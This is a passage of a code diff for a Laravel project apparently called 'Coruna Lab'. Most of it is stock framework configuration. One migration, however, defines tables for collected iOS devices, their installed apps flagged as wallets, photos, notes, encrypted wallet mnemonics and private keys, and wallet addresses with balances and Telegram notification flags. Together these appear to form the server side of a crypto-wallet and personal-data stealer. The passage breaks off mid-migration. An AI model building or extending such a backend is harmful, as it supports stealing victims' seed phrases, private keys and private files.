'backoff_base' => env('REDIS_BACKOFF_BASE', 100),
|
||||
'backoff_cap' => env('REDIS_BACKOFF_CAP', 1000),
|
||||
],
|
||||
|
||||
'cache' => [
|
||||
'url' => env('REDIS_URL'),
|
||||
'host' => env('REDIS_HOST', '127.0.0.1'),
|
||||
'username' => env('REDIS_USERNAME'),
|
||||
'password' => env('REDIS_PASSWORD'),
|
||||
'port' => env('REDIS_PORT', '6379'),
|
||||
'database' => env('REDIS_CACHE_DB', '1'),
|
||||
'max_retries' => env('REDIS_MAX_RETRIES', 3),
|
||||
'backoff_algorithm' => env('REDIS_BACKOFF_ALGORITHM', 'decorrelated_jitter'),
|
||||
'backoff_base' => env('REDIS_BACKOFF_BASE', 100),
|
||||
'backoff_cap' => env('REDIS_BACKOFF_CAP', 1000),
|
||||
],
|
||||
|
||||
],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,80 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Default Filesystem Disk
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may specify the default filesystem disk that should be used
|
||||
| by the framework. The "local" disk, as well as a variety of cloud
|
||||
| based disks are available to your application for file storage.
|
||||
|
|
||||
*/
|
||||
|
||||
'default' => env('FILESYSTEM_DISK', 'local'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Filesystem Disks
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Below you may configure as many filesystem disks as necessary, and you
|
||||
| may even configure multiple disks for the same driver. Examples for
|
||||
| most supported storage drivers are configured here for reference.
|
||||
|
|
||||
| Supported drivers: "local", "ftp", "sftp", "s3"
|
||||
|
|
||||
*/
|
||||
|
||||
'disks' => [
|
||||
|
||||
'local' => [
|
||||
'driver' => 'local',
|
||||
'root' => storage_path('app/private'),
|
||||
'serve' => true,
|
||||
'throw' => false,
|
||||
'report' => false,
|
||||
],
|
||||
|
||||
'public' => [
|
||||
'driver' => 'local',
|
||||
'root' => storage_path('app/public'),
|
||||
'url' => rtrim(env('APP_URL', 'http://localhost'), '/').'/storage',
|
||||
'visibility' => 'public',
|
||||
'throw' => false,
|
||||
'report' => false,
|
||||
],
|
||||
|
||||
's3' => [
|
||||
'driver' => 's3',
|
||||
'key' => env('AWS_ACCESS_KEY_ID'),
|
||||
'secret' => env('AWS_SECRET_ACCESS_KEY'),
|
||||
'region' => env('AWS_DEFAULT_REGION'),
|
||||
'bucket' => env('AWS_BUCKET'),
|
||||
'url' => env('AWS_URL'),
|
||||
'endpoint' => env('AWS_ENDPOINT'),
|
||||
'use_path_style_endpoint' => env('AWS_USE_PATH_STYLE_ENDPOINT', false),
|
||||
'throw' => false,
|
||||
'report' => false,
|
||||
],
|
||||
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Symbolic Links
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may configure the symbolic links that will be created when the
|
||||
| `storage:link` Artisan command is executed. The array keys should be
|
||||
| the locations of the links and the values should be their targets.
|
||||
|
|
||||
*/
|
||||
|
||||
'links' => [
|
||||
public_path('storage') => storage_path('app/public'),
|
||||
],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,132 @@
|
||||
<?php
|
||||
|
||||
use Monolog\Handler\NullHandler;
|
||||
use Monolog\Handler\StreamHandler;
|
||||
use Monolog\Handler\SyslogUdpHandler;
|
||||
use Monolog\Processor\PsrLogMessageProcessor;
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Default Log Channel
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option defines the default log channel that is utilized to write
|
||||
| messages to your logs. The value provided here should match one of
|
||||
| the channels present in the list of "channels" configured below.
|
||||
|
|
||||
*/
|
||||
|
||||
'default' => env('LOG_CHANNEL', 'stack'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Deprecations Log Channel
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option controls the log channel that should be used to log warnings
|
||||
| regarding deprecated PHP and library features. This allows you to get
|
||||
| your application ready for upcoming major versions of dependencies.
|
||||
|
|
||||
*/
|
||||
|
||||
'deprecations' => [
|
||||
'channel' => env('LOG_DEPRECATIONS_CHANNEL', 'null'),
|
||||
'trace' => env('LOG_DEPRECATIONS_TRACE', false),
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Log Channels
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may configure the log channels for your application. Laravel
|
||||
| utilizes the Monolog PHP logging library, which includes a variety
|
||||
| of powerful log handlers and formatters that you're free to use.
|
||||
|
|
||||
| Available drivers: "single", "daily", "slack", "syslog",
|
||||
| "errorlog", "monolog", "custom", "stack"
|
||||
|
|
||||
*/
|
||||
|
||||
'channels' => [
|
||||
|
||||
'stack' => [
|
||||
'driver' => 'stack',
|
||||
'channels' => explode(',', (string) env('LOG_STACK', 'single')),
|
||||
'ignore_exceptions' => false,
|
||||
],
|
||||
|
||||
'single' => [
|
||||
'driver' => 'single',
|
||||
'path' => storage_path('logs/laravel.log'),
|
||||
'level' => env('LOG_LEVEL', 'debug'),
|
||||
'replace_placeholders' => true,
|
||||
],
|
||||
|
||||
'daily' => [
|
||||
'driver' => 'daily',
|
||||
'path' => storage_path('logs/laravel.log'),
|
||||
'level' => env('LOG_LEVEL', 'debug'),
|
||||
'days' => env('LOG_DAILY_DAYS', 14),
|
||||
'replace_placeholders' => true,
|
||||
],
|
||||
|
||||
'slack' => [
|
||||
'driver' => 'slack',
|
||||
'url' => env('LOG_SLACK_WEBHOOK_URL'),
|
||||
'username' => env('LOG_SLACK_USERNAME', env('APP_NAME', 'Laravel')),
|
||||
'emoji' => env('LOG_SLACK_EMOJI', ':boom:'),
|
||||
'level' => env('LOG_LEVEL', 'critical'),
|
||||
'replace_placeholders' => true,
|
||||
],
|
||||
|
||||
'papertrail' => [
|
||||
'driver' => 'monolog',
|
||||
'level' => env('LOG_LEVEL', 'debug'),
|
||||
'handler' => env('LOG_PAPERTRAIL_HANDLER', SyslogUdpHandler::class),
|
||||
'handler_with' => [
|
||||
'host' => env('PAPERTRAIL_URL'),
|
||||
'port' => env('PAPERTRAIL_PORT'),
|
||||
'connectionString' => 'tls://'.env('PAPERTRAIL_URL').':'.env('PAPERTRAIL_PORT'),
|
||||
],
|
||||
'processors' => [PsrLogMessageProcessor::class],
|
||||
],
|
||||
|
||||
'stderr' => [
|
||||
'driver' => 'monolog',
|
||||
'level' => env('LOG_LEVEL', 'debug'),
|
||||
'handler' => StreamHandler::class,
|
||||
'handler_with' => [
|
||||
'stream' => 'php://stderr',
|
||||
],
|
||||
'formatter' => env('LOG_STDERR_FORMATTER'),
|
||||
'processors' => [PsrLogMessageProcessor::class],
|
||||
],
|
||||
|
||||
'syslog' => [
|
||||
'driver' => 'syslog',
|
||||
'level' => env('LOG_LEVEL', 'debug'),
|
||||
'facility' => env('LOG_SYSLOG_FACILITY', LOG_USER),
|
||||
'replace_placeholders' => true,
|
||||
],
|
||||
|
||||
'errorlog' => [
|
||||
'driver' => 'errorlog',
|
||||
'level' => env('LOG_LEVEL', 'debug'),
|
||||
'replace_placeholders' => true,
|
||||
],
|
||||
|
||||
'null' => [
|
||||
'driver' => 'monolog',
|
||||
'handler' => NullHandler::class,
|
||||
],
|
||||
|
||||
'emergency' => [
|
||||
'path' => storage_path('logs/laravel.log'),
|
||||
],
|
||||
|
||||
],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,118 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Default Mailer
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option controls the default mailer that is used to send all email
|
||||
| messages unless another mailer is explicitly specified when sending
|
||||
| the message. All additional mailers can be configured within the
|
||||
| "mailers" array. Examples of each type of mailer are provided.
|
||||
|
|
||||
*/
|
||||
|
||||
'default' => env('MAIL_MAILER', 'log'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Mailer Configurations
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may configure all of the mailers used by your application plus
|
||||
| their respective settings. Several examples have been configured for
|
||||
| you and you are free to add your own as your application requires.
|
||||
|
|
||||
| Laravel supports a variety of mail "transport" drivers that can be used
|
||||
| when delivering an email. You may specify which one you're using for
|
||||
| your mailers below. You may also add additional mailers if needed.
|
||||
|
|
||||
| Supported: "smtp", "sendmail", "mailgun", "ses", "ses-v2",
|
||||
| "postmark", "resend", "log", "array",
|
||||
| "failover", "roundrobin"
|
||||
|
|
||||
*/
|
||||
|
||||
'mailers' => [
|
||||
|
||||
'smtp' => [
|
||||
'transport' => 'smtp',
|
||||
'scheme' => env('MAIL_SCHEME'),
|
||||
'url' => env('MAIL_URL'),
|
||||
'host' => env('MAIL_HOST', '127.0.0.1'),
|
||||
'port' => env('MAIL_PORT', 2525),
|
||||
'username' => env('MAIL_USERNAME'),
|
||||
'password' => env('MAIL_PASSWORD'),
|
||||
'timeout' => null,
|
||||
'local_domain' => env('MAIL_EHLO_DOMAIN', parse_url((string) env('APP_URL', 'http://localhost'), PHP_URL_HOST)),
|
||||
],
|
||||
|
||||
'ses' => [
|
||||
'transport' => 'ses',
|
||||
],
|
||||
|
||||
'postmark' => [
|
||||
'transport' => 'postmark',
|
||||
// 'message_stream_id' => env('POSTMARK_MESSAGE_STREAM_ID'),
|
||||
// 'client' => [
|
||||
// 'timeout' => 5,
|
||||
// ],
|
||||
],
|
||||
|
||||
'resend' => [
|
||||
'transport' => 'resend',
|
||||
],
|
||||
|
||||
'sendmail' => [
|
||||
'transport' => 'sendmail',
|
||||
'path' => env('MAIL_SENDMAIL_PATH', '/usr/sbin/sendmail -bs -i'),
|
||||
],
|
||||
|
||||
'log' => [
|
||||
'transport' => 'log',
|
||||
'channel' => env('MAIL_LOG_CHANNEL'),
|
||||
],
|
||||
|
||||
'array' => [
|
||||
'transport' => 'array',
|
||||
],
|
||||
|
||||
'failover' => [
|
||||
'transport' => 'failover',
|
||||
'mailers' => [
|
||||
'smtp',
|
||||
'log',
|
||||
],
|
||||
'retry_after' => 60,
|
||||
],
|
||||
|
||||
'roundrobin' => [
|
||||
'transport' => 'roundrobin',
|
||||
'mailers' => [
|
||||
'ses',
|
||||
'postmark',
|
||||
],
|
||||
'retry_after' => 60,
|
||||
],
|
||||
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Global "From" Address
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| You may wish for all emails sent by your application to be sent from
|
||||
| the same address. Here you may specify a name and address that is
|
||||
| used globally for all emails that are sent by your application.
|
||||
|
|
||||
*/
|
||||
|
||||
'from' => [
|
||||
'address' => env('MAIL_FROM_ADDRESS', 'hello@example.com'),
|
||||
'name' => env('MAIL_FROM_NAME', env('APP_NAME', 'Laravel')),
|
||||
],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,129 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Default Queue Connection Name
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Laravel's queue supports a variety of backends via a single, unified
|
||||
| API, giving you convenient access to each backend using identical
|
||||
| syntax for each. The default queue connection is defined below.
|
||||
|
|
||||
*/
|
||||
|
||||
'default' => env('QUEUE_CONNECTION', 'database'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Queue Connections
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may configure the connection options for every queue backend
|
||||
| used by your application. An example configuration is provided for
|
||||
| each backend supported by Laravel. You're also free to add more.
|
||||
|
|
||||
| Drivers: "sync", "database", "beanstalkd", "sqs", "redis",
|
||||
| "deferred", "background", "failover", "null"
|
||||
|
|
||||
*/
|
||||
|
||||
'connections' => [
|
||||
|
||||
'sync' => [
|
||||
'driver' => 'sync',
|
||||
],
|
||||
|
||||
'database' => [
|
||||
'driver' => 'database',
|
||||
'connection' => env('DB_QUEUE_CONNECTION'),
|
||||
'table' => env('DB_QUEUE_TABLE', 'jobs'),
|
||||
'queue' => env('DB_QUEUE', 'default'),
|
||||
'retry_after' => (int) env('DB_QUEUE_RETRY_AFTER', 90),
|
||||
'after_commit' => false,
|
||||
],
|
||||
|
||||
'beanstalkd' => [
|
||||
'driver' => 'beanstalkd',
|
||||
'host' => env('BEANSTALKD_QUEUE_HOST', 'localhost'),
|
||||
'queue' => env('BEANSTALKD_QUEUE', 'default'),
|
||||
'retry_after' => (int) env('BEANSTALKD_QUEUE_RETRY_AFTER', 90),
|
||||
'block_for' => 0,
|
||||
'after_commit' => false,
|
||||
],
|
||||
|
||||
'sqs' => [
|
||||
'driver' => 'sqs',
|
||||
'key' => env('AWS_ACCESS_KEY_ID'),
|
||||
'secret' => env('AWS_SECRET_ACCESS_KEY'),
|
||||
'prefix' => env('SQS_PREFIX', 'https://sqs.us-east-1.amazonaws.com/your-account-id'),
|
||||
'queue' => env('SQS_QUEUE', 'default'),
|
||||
'suffix' => env('SQS_SUFFIX'),
|
||||
'region' => env('AWS_DEFAULT_REGION', 'us-east-1'),
|
||||
'after_commit' => false,
|
||||
],
|
||||
|
||||
'redis' => [
|
||||
'driver' => 'redis',
|
||||
'connection' => env('REDIS_QUEUE_CONNECTION', 'default'),
|
||||
'queue' => env('REDIS_QUEUE', 'default'),
|
||||
'retry_after' => (int) env('REDIS_QUEUE_RETRY_AFTER', 90),
|
||||
'block_for' => null,
|
||||
'after_commit' => false,
|
||||
],
|
||||
|
||||
'deferred' => [
|
||||
'driver' => 'deferred',
|
||||
],
|
||||
|
||||
'background' => [
|
||||
'driver' => 'background',
|
||||
],
|
||||
|
||||
'failover' => [
|
||||
'driver' => 'failover',
|
||||
'connections' => [
|
||||
'database',
|
||||
'deferred',
|
||||
],
|
||||
],
|
||||
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Job Batching
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following options configure the database and table that store job
|
||||
| batching information. These options can be updated to any database
|
||||
| connection and table which has been defined by your application.
|
||||
|
|
||||
*/
|
||||
|
||||
'batching' => [
|
||||
'database' => env('DB_CONNECTION', 'sqlite'),
|
||||
'table' => 'job_batches',
|
||||
],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Failed Queue Jobs
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| These options configure the behavior of failed queue job logging so you
|
||||
| can control how and where failed jobs are stored. Laravel ships with
|
||||
| support for storing failed jobs in a simple file or in a database.
|
||||
|
|
||||
| Supported drivers: "database-uuids", "dynamodb", "file", "null"
|
||||
|
|
||||
*/
|
||||
|
||||
'failed' => [
|
||||
'driver' => env('QUEUE_FAILED_DRIVER', 'database-uuids'),
|
||||
'database' => env('DB_CONNECTION', 'sqlite'),
|
||||
'table' => 'failed_jobs',
|
||||
],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,38 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Third Party Services
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This file is for storing the credentials for third party services such
|
||||
| as Mailgun, Postmark, AWS and more. This file provides the de facto
|
||||
| location for this type of information, allowing packages to have
|
||||
| a conventional file to locate the various service credentials.
|
||||
|
|
||||
*/
|
||||
|
||||
'postmark' => [
|
||||
'key' => env('POSTMARK_API_KEY'),
|
||||
],
|
||||
|
||||
'resend' => [
|
||||
'key' => env('RESEND_API_KEY'),
|
||||
],
|
||||
|
||||
'ses' => [
|
||||
'key' => env('AWS_ACCESS_KEY_ID'),
|
||||
'secret' => env('AWS_SECRET_ACCESS_KEY'),
|
||||
'region' => env('AWS_DEFAULT_REGION', 'us-east-1'),
|
||||
],
|
||||
|
||||
'slack' => [
|
||||
'notifications' => [
|
||||
'bot_user_oauth_token' => env('SLACK_BOT_USER_OAUTH_TOKEN'),
|
||||
'channel' => env('SLACK_BOT_USER_DEFAULT_CHANNEL'),
|
||||
],
|
||||
],
|
||||
|
||||
];
|
||||
@@ -0,0 +1,217 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Default Session Driver
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option determines the default session driver that is utilized for
|
||||
| incoming requests. Laravel supports a variety of storage options to
|
||||
| persist session data. Database storage is a great default choice.
|
||||
|
|
||||
| Supported: "file", "cookie", "database", "memcached",
|
||||
| "redis", "dynamodb", "array"
|
||||
|
|
||||
*/
|
||||
|
||||
'driver' => env('SESSION_DRIVER', 'database'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Lifetime
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may specify the number of minutes that you wish the session
|
||||
| to be allowed to remain idle before it expires. If you want them
|
||||
| to expire immediately when the browser is closed then you may
|
||||
| indicate that via the expire_on_close configuration option.
|
||||
|
|
||||
*/
|
||||
|
||||
'lifetime' => (int) env('SESSION_LIFETIME', 120),
|
||||
|
||||
'expire_on_close' => env('SESSION_EXPIRE_ON_CLOSE', false),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Encryption
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option allows you to easily specify that all of your session data
|
||||
| should be encrypted before it's stored. All encryption is performed
|
||||
| automatically by Laravel and you may use the session like normal.
|
||||
|
|
||||
*/
|
||||
|
||||
'encrypt' => env('SESSION_ENCRYPT', false),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session File Location
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| When utilizing the "file" session driver, the session files are placed
|
||||
| on disk. The default storage location is defined here; however, you
|
||||
| are free to provide another location where they should be stored.
|
||||
|
|
||||
*/
|
||||
|
||||
'files' => storage_path('framework/sessions'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Database Connection
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| When using the "database" or "redis" session drivers, you may specify a
|
||||
| connection that should be used to manage these sessions. This should
|
||||
| correspond to a connection in your database configuration options.
|
||||
|
|
||||
*/
|
||||
|
||||
'connection' => env('SESSION_CONNECTION'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Database Table
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| When using the "database" session driver, you may specify the table to
|
||||
| be used to store sessions. Of course, a sensible default is defined
|
||||
| for you; however, you're welcome to change this to another table.
|
||||
|
|
||||
*/
|
||||
|
||||
'table' => env('SESSION_TABLE', 'sessions'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Cache Store
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| When using one of the framework's cache driven session backends, you may
|
||||
| define the cache store which should be used to store the session data
|
||||
| between requests. This must match one of your defined cache stores.
|
||||
|
|
||||
| Affects: "dynamodb", "memcached", "redis"
|
||||
|
|
||||
*/
|
||||
|
||||
'store' => env('SESSION_STORE'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Sweeping Lottery
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Some session drivers must manually sweep their storage location to get
|
||||
| rid of old sessions from storage. Here are the chances that it will
|
||||
| happen on a given request. By default, the odds are 2 out of 100.
|
||||
|
|
||||
*/
|
||||
|
||||
'lottery' => [2, 100],
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Cookie Name
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may change the name of the session cookie that is created by
|
||||
| the framework. Typically, you should not need to change this value
|
||||
| since doing so does not grant a meaningful security improvement.
|
||||
|
|
||||
*/
|
||||
|
||||
'cookie' => env(
|
||||
'SESSION_COOKIE',
|
||||
Str::slug((string) env('APP_NAME', 'laravel')).'-session'
|
||||
),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Cookie Path
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The session cookie path determines the path for which the cookie will
|
||||
| be regarded as available. Typically, this will be the root path of
|
||||
| your application, but you're free to change this when necessary.
|
||||
|
|
||||
*/
|
||||
|
||||
'path' => env('SESSION_PATH', '/'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Session Cookie Domain
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This value determines the domain and subdomains the session cookie is
|
||||
| available to. By default, the cookie will be available to the root
|
||||
| domain without subdomains. Typically, this shouldn't be changed.
|
||||
|
|
||||
*/
|
||||
|
||||
'domain' => env('SESSION_DOMAIN'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| HTTPS Only Cookies
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| By setting this option to true, session cookies will only be sent back
|
||||
| to the server if the browser has a HTTPS connection. This will keep
|
||||
| the cookie from being sent to you when it can't be done securely.
|
||||
|
|
||||
*/
|
||||
|
||||
'secure' => env('SESSION_SECURE_COOKIE'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| HTTP Access Only
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Setting this value to true will prevent JavaScript from accessing the
|
||||
| value of the cookie and the cookie will only be accessible through
|
||||
| the HTTP protocol. It's unlikely you should disable this option.
|
||||
|
|
||||
*/
|
||||
|
||||
'http_only' => env('SESSION_HTTP_ONLY', true),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Same-Site Cookies
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This option determines how your cookies behave when cross-site requests
|
||||
| take place, and can be used to mitigate CSRF attacks. By default, we
|
||||
| will set this value to "lax" to permit secure cross-site requests.
|
||||
|
|
||||
| See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#samesitesamesite-value
|
||||
|
|
||||
| Supported: "lax", "strict", "none", null
|
||||
|
|
||||
*/
|
||||
|
||||
'same_site' => env('SESSION_SAME_SITE', 'lax'),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Partitioned Cookies
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Setting this value to true will tie the cookie to the top-level site for
|
||||
| a cross-site context. Partitioned cookies are accepted by the browser
|
||||
| when flagged "secure" and the Same-Site attribute is set to "none".
|
||||
|
|
||||
*/
|
||||
|
||||
'partitioned' => env('SESSION_PARTITIONED_COOKIE', false),
|
||||
|
||||
];
|
||||
@@ -0,0 +1 @@
|
||||
*.sqlite*
|
||||
@@ -0,0 +1,45 @@
|
||||
<?php
|
||||
|
||||
namespace Database\Factories;
|
||||
|
||||
use App\Models\User;
|
||||
use Illuminate\Database\Eloquent\Factories\Factory;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
/**
|
||||
* @extends Factory<User>
|
||||
*/
|
||||
class UserFactory extends Factory
|
||||
{
|
||||
/**
|
||||
* The current password being used by the factory.
|
||||
*/
|
||||
protected static ?string $password;
|
||||
|
||||
/**
|
||||
* Define the model's default state.
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function definition(): array
|
||||
{
|
||||
return [
|
||||
'name' => fake()->name(),
|
||||
'email' => fake()->unique()->safeEmail(),
|
||||
'email_verified_at' => now(),
|
||||
'password' => static::$password ??= Hash::make('password'),
|
||||
'remember_token' => Str::random(10),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Indicate that the model's email address should be unverified.
|
||||
*/
|
||||
public function unverified(): static
|
||||
{
|
||||
return $this->state(fn (array $attributes) => [
|
||||
'email_verified_at' => null,
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
|
||||
/**
|
||||
* Laravel default users/sessions scaffolding — unused by Coruna Lab.
|
||||
* Auth uses `admins`; session/cache/queue use file/sync drivers.
|
||||
*/
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
|
||||
/** Unused — CACHE_STORE=file */
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
|
||||
/** Unused — QUEUE_CONNECTION=sync */
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,98 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::create('admins', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('username')->unique();
|
||||
$table->string('password');
|
||||
$table->rememberToken();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('devices', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('device_id', 64)->unique();
|
||||
$table->string('ios_version', 64)->nullable();
|
||||
$table->string('device_model', 128)->nullable();
|
||||
$table->string('ip', 64)->nullable();
|
||||
$table->text('user_agent')->nullable();
|
||||
$table->boolean('telegram_notified')->default(false);
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('device_apps', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('bundle_id')->nullable();
|
||||
$table->string('name')->nullable();
|
||||
$table->boolean('is_wallet')->default(false);
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['device_id', 'bundle_id']);
|
||||
});
|
||||
|
||||
Schema::create('photos', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('sha256', 64)->nullable()->index();
|
||||
$table->string('path');
|
||||
$table->unsignedInteger('width')->nullable();
|
||||
$table->unsignedInteger('height')->nullable();
|
||||
$table->unsignedInteger('size')->nullable();
|
||||
$table->json('counters_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('notes', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('title')->nullable();
|
||||
$table->longText('body')->nullable();
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('wallets', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('source_app')->nullable();
|
||||
$table->text('mnemonic_enc')->nullable();
|
||||
$table->text('privkey_enc')->nullable();
|
||||
$table->json('raw_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('wallet_addresses', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->foreignId('wallet_id')->nullable()->constrained('wallets')->nullOnDelete();
|
||||
$table->string('address')->index();
|
||||
$table->string('chain')->nullable();
|
||||
$table->string('balance')->nullable();
|
||||
$table->string('symbol')->nullable();
|
||||
$table->boolean('telegram_notified')->default(false);
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['device_id', 'address', 'chain']);
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('wallet_addresses');
|
||||
Schema::dropIfExists('wallets');
|
||||
Schema::dropIfExists('notes');
|
||||
Schema::dropIfExists('photos');
|
||||
Schema::dropIfExists('device_apps');
|
||||
Schema::dropIfExists('devices');
|
||||
Schema::dropIfExists('admins');
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,57 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('devices', 'device_model')) {
|
||||
$table->string('device_model', 128)->nullable()->after('ios_version');
|
||||
}
|
||||
});
|
||||
|
||||
if (Schema::hasColumn('devices', 'model') && Schema::hasColumn('devices', 'device_model')) {
|
||||
